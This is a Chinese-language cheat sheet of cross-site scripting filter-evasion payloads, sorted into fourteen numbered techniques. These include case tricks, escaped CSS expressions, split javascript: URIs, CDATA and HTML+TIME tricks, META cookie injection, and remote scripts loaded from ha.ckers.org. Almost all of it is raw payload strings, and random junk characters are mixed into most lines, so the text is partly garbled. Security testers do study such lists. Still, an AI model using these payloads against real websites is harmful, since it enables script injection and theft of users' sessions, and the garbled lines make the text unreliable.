1. 改变字符大小写
0 _* Q( h- S2 S5 G& l0 Q, k# t; R0 g+ Z$ Q0 b) h3 L
8 E. t8 P O9 I2 P. R" V- W
5 I: v [! T" d% w5 Z+ h
<sCript>alert(‘d’)</scRipT>1 p2 r1 F8 F" y& o9 H7 m; w3 @) y
$ b& r! w2 U4 w( T3 Q
2. 利用多加一些其它字符来规避Regular Expression的检查) l3 F: F- ~- M/ [6 N# I7 v
: U ~2 g- H" j5 s
<<script>alert(‘c’)//<</script>! D" f( u6 `5 L5 h+ q4 P
: v; `8 L" l6 f' H <SCRIPT a=">" SRC="t.js"></SCRIPT>. L- J# R( p- d/ t1 D
- }* ]' t( {$ s9 L; z, |9 X <SCRIPT =">" SRC="t.js"></SCRIPT>: G! ^% z# V! v. F! d: i
' J. h7 Q# a1 ^3 N# s; o <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
' q$ g5 `4 x5 _" a' H% o0 Y/ _0 T, S7 G3 @( P+ w5 E) E% b
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
) ]) O) }- t7 `% O" l6 E( o y- n
2 D; U X# M7 l. w7 _9 g. q <SCRIPT a=`>` SRC="t.js"></SCRIPT>/ W! Q, \' K% s5 z$ T
1 V( v$ S1 j7 c1 R. i* x
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
9 X- ~: U; j$ q. g# E+ t+ s, r
[. d l/ I" Y3. 以其它扩展名取代.js$ t3 _ X# z9 c
' V3 f: S; L' a- e4 l- v <script src="bad.jpg"></script>" { g( T: R* C: o' y# ]
& j3 e! W) y9 U7 a6 `4. 将Javascript写在CSS档里
) ]! _1 ]5 z6 E1 q
& R6 I4 q! k& G/ C6 F( Z9 y <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">; H# I2 ?3 W; P. u& O" i$ F
# r( J! {# k' d2 u$ Y3 y example:. q+ S& w' U4 P( d
/ k0 m ~- s; @, }" u; L% `
body {& v- r) e, I3 \& L: m* K
4 x& Y- f. O* J w" E9 k% ^- y background-image: url(‘javascript:alert("XSS");’)' @! V( P, j. m7 Z5 v
' x2 v$ X, a+ |& z2 g }
( ?" X/ K4 J, y* {
) k! j3 L: [- y) P$ }& c" F) |3 Y$ ^" t5. 在script的tag里加入一些其它字符
! b& U& T- J0 C+ \' U# p" ^- f9 V' a! j; _
<SCRIPT/SRC="t.js"></SCRIPT>
" y x9 J- M) S
* H, t6 v3 ~+ H3 ~1 D <SCRIPT/anyword SRC="t.js"></SCRIPT>
9 y" { Y" X3 c. k* ?# {, a4 e3 S! W3 [2 G! B B; @
6. 使用tab或是new line来规避0 |5 G8 ]0 Q$ P
; H3 p9 H' ^1 t* `! j& q
<img src="jav ascr ipt:alert(‘XSS3′)">4 W! z3 ?. a6 U+ K+ s" O: O7 Z
# I" H4 }" `5 o) s
<img src="jav ascr ipt:alert(‘XSS3′)">
( A) n) s! H9 g. l% o% h9 X, D. Z: a
( U& I6 U& R' f$ N <IMG SRC="jav ascript:alert(‘XSS’);">( `. B. Z# O$ e
: t9 I$ V0 {8 q$ x+ @1 X+ a7 n5 t$ K -> tag
) _9 e4 c8 Q. G2 B2 U ], L+ H* E3 `; V# v" v
-> new line' m/ ?$ {# u) j# I
. U, ]$ Q. a" }& o
7. 使用"\"来规避
0 x# u0 o# D: n4 J7 i/ q1 V& i; |% ?2 F
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>; T; \6 C% X" U2 ]
8 a# O- Y4 _/ S3 o" P
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
8 s. g7 ^) d- \+ T; M: a
% ^3 {* n, a" o/ q4 U1 L, X <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">) [+ [ _- s( ]7 M
- g' f r' X( {# h; J l% } <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 {# L3 c4 s- N$ l
# L* u _- V$ y) L) E
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
" N2 T6 b0 v x _: C+ D. E( L5 P' _1 j9 C1 z. S+ V+ M
8. 使用Hex encode来规避(也可能会把";"拿掉)' y) [9 J( z2 t( h1 R, c# b5 m
: m2 {. b( i: h- u2 ~3 Z <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">8 Z0 k# D7 B5 x/ G: P
# U2 p5 Y% C# g: r- x1 ?" ^
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 s' [5 z6 O' f6 m
7 J) b u$ D; W/ g
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& |4 k& X# Y/ v t* \4 u* A# J2 p: H- p/ q
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">3 F/ l! K4 q- G
3 s% h$ F: t4 B. _0 l! {1 \
9. script in HTML tag+ V. k: r+ L1 x/ F
% x1 W" U, G/ q$ E <body onload=」alert(‘onload’)」>9 P4 F7 l( U. g& @9 w; S( m2 O4 ?
1 K) b% Z' J' a% z u
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload8 _3 x- O( I+ H0 X- U4 p
3 L- ], H( Y3 U" _
10. 在swf里含有xss的code+ [2 g$ ^& Z7 D8 F) S4 a
6 p! M( B# U2 w3 L$ Q
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
. V3 ]2 B3 w3 o1 u& ^# u/ U7 {( H
# h' S. X( \' I# c% _# a- l11. 利用CDATA将xss的code拆开,再组合起来。
; {/ e; ^+ E7 b D$ O: t! k: V1 j# {$ n; \
<XML ID=I><X><C>6 A ~4 w" ]6 X( v; \
6 w, }4 X5 [' y# Z: Y0 y <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>4 y5 T9 G/ C! g+ N
9 L: K2 Z0 M- L% \& ~+ S </C></X>6 k# x% Z5 X8 V' I
; t1 u& | \* t4 m" ]8 J, z
</xml>; k% Z5 Z! X# r! [; P: D# Z" v! y+ n! d
% L" Z: K0 B$ y' @) K2 [ <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
$ `& A+ l) u H }. h; V! t) p/ `! z# S/ F
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML> M7 m( H L( w+ ]( N0 G
( g' B' T7 H' w% ]/ i
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 r% R* q# u& q! E/ M: |$ @6 {/ Y
12. 利用HTML+TIME。# N8 l( e) Y& G+ V6 t+ J! `5 i
! F6 C' _8 m* |, K+ Q$ Y/ l! V' v0 C <HTML><BODY>
- d* e9 h3 G) z5 o
9 L+ S/ e% m. ?. w <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
# @7 G% H; m3 ?/ F
+ v7 {: y8 M4 U- E9 T <?import namespace="t" implementation="#default#time2">
9 y' Y* B7 w0 M2 B8 U1 X; z3 X! o
" z% X. S" u6 l2 [ <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
/ W7 f$ u3 B- R
; ~9 w& ^) T9 ` </BODY></HTML>
5 v: }5 C1 \# B O) T0 ^! N
- N$ t1 A" B* F9 _% {13. 透过META写入Cookie。, L$ G7 P5 k+ Z/ M. [" r' g7 d/ L
) p ` d4 u0 |0 P' } <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"> O w( j( x5 w( G6 ]* [0 {
/ W/ k' Z+ k- s4 y& g3 l14. javascript in src , href , url5 i a$ V- ~ F* k3 E
, j# k( N+ Z8 d1 A: u: r( h" L L <IFRAME SRC=javascript:alert(’13′)></IFRAME>
# x! D ?6 L& z* x* D) L) F% |3 s
1 S2 _5 B/ q/ ^2 ~, S <img src="javascript:alert(‘XSS3′)">
D2 C( R0 R/ m4 v3 G4 h& T# `# t) d' ~$ ]: c$ v
<IMG DYNSRC="javascript:alert(‘XSS20′)">2 ~$ X5 X+ V0 K
0 S9 }- @$ |3 [+ T* P2 m
<IMG LOWSRC="javascript:alert(‘XSS21′)">6 A* q B% t" i
: T p* L" Z v" W <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">% R/ ]; \' I O2 m+ P4 B9 l& B
0 N/ p: o7 ], D3 `* T8 E2 }# w <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
' H& S) d" w) X! w/ q; U J3 z
" p4 U; M6 a/ |6 v8 x <TABLE BACKGROUND="javascript:alert(‘XSS29′)">% y7 J1 X. y& f& o7 p* m4 X
) C( [) X) a a+ b# u! K9 m Q
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">7 [& E% }3 L+ p' h5 Y+ M
% g, c; \' y- X
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
% E* B/ ~4 ~( `( g" S1 E+ O9 d$ i3 m+ ~( i7 K5 W$ P
</STYLE><A CLASS=XSS></A>
, G" p; U% Y" q% U, u1 \4 d" L0 M( p2 `. X3 k3 j1 C
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
7 _9 l5 @, \( z R
q( n' a& ~% n |